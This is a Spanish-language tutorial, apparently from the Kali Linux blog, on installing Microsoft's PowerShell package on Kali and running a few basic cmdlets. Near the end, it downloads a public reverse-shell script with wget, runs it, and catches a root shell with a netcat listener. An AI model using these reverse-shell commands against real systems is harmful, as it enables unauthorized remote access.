ACTUALIZACIÓN DE NOVIEMBRE DE 2019
Esta publicación está desactualizada a partir de 2019, ya que PowerShell se agregó a los repositorios principales. Solo haz un:
apt update && apt -y install powershell
Y tendrá powershell en su sistema.
Publicación antigua
Es posible que ya sepa que puede agregar repositorios externos de manera segura a su instalación de Kali Linux, pero es posible que no sepa que uno de los muchos repositorios disponibles en línea incluye uno de Microsoft que incluye PowerShell. El repositorio es para Debian pero sus paquetes se instalan perfectamente en Kali, como mostraremos en esta publicación.
Instalación del paquete PowerShell en Kali
Comenzamos instalando las dependencias necesarias, la mayoría de las cuales ya deberían estar instaladas en su instalación de Kali de forma predeterminada.
apt update && apt -y install curl gnupg apt-transport-https
A continuación, debemos descargar y agregar la clave GPG del repositorio público para que APT confíe en los paquetes y le avise de cualquier problema con las firmas de los paquetes.
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
Con la clave GPG agregada, procedemos a agregar el repositorio de paquetes de Microsoft a su propio archivo de lista de paquetes en /etc/apt/sources.list.d/ y actualice la lista de paquetes disponibles.
echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/powershell.list
apt update
Finalmente, procedemos a instalar el paquete powershell.
apt -y install powershell
Ejecutando PowerShell
Cuando se complete la instalación del paquete, ejecute pwsh iniciará PowerShell y nos presentará el mensaje familiar "PS".
[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /root>
Si es nuevo en PowerShell, una de las primeras cosas que probablemente querrá hacer es actualizar la ayuda integrada, lo que se puede hacer ejecutando Update-Help Cmdlet. Esto puede tardar un poco en completarse, pero realmente solo necesita ejecutarse de vez en cuando.
PS /root> Update-Help
Updating Help for module Microsoft.PowerShell.Utility
Locating Help Content...
Como es de esperar, no encontrará todos los comandos a los que está acostumbrado cuando usa PowerShell en Windows, pero todos los módulos principales están presentes y el código está en constante desarrollo y mejora.
PS /root> Get-Process -Name gnome*
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0.00 5.71 0.03 1073 072 gnome-keyring-d
0 0.00 9.80 0.19 659 649 gnome-session-b
0 0.00 13.72 0.36 1089 080 gnome-session-b
0 0.00 110.06 3.36 778 649 gnome-shell
0 0.00 277.15 27.85 1170 080 gnome-shell
0 0.00 11.77 0.09 1199 075 gnome-shell-cal
0 0.00 77.79 4.58 1381 080 gnome-software
0 0.00 36.58 2.03 1646 646 gnome-terminal-
Una de las cosas sorprendentes que puedes sin embargo, es usar PowerShell para enviar un shell inverso a un oyente de Netcat. Nos encontramos con un pequeño shell inverso de PowerShell en línea y, para nuestra sorpresa, se conectó felizmente con nuestro oyente.
[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /root> wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1
PS /root> ./mini-reverse.ps1
────────────────────────────────────────────────────────────────────────────────
[email protected]:~# nc -lvnp 413
listening on [any] 413 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux
Creemos que es notable que, no solo Microsoft Open-source PowerShell, sino que también lo han estado actualizando y mejorando constantemente, y tener un repositorio de paquetes público hace que la instalación sea muy sencilla.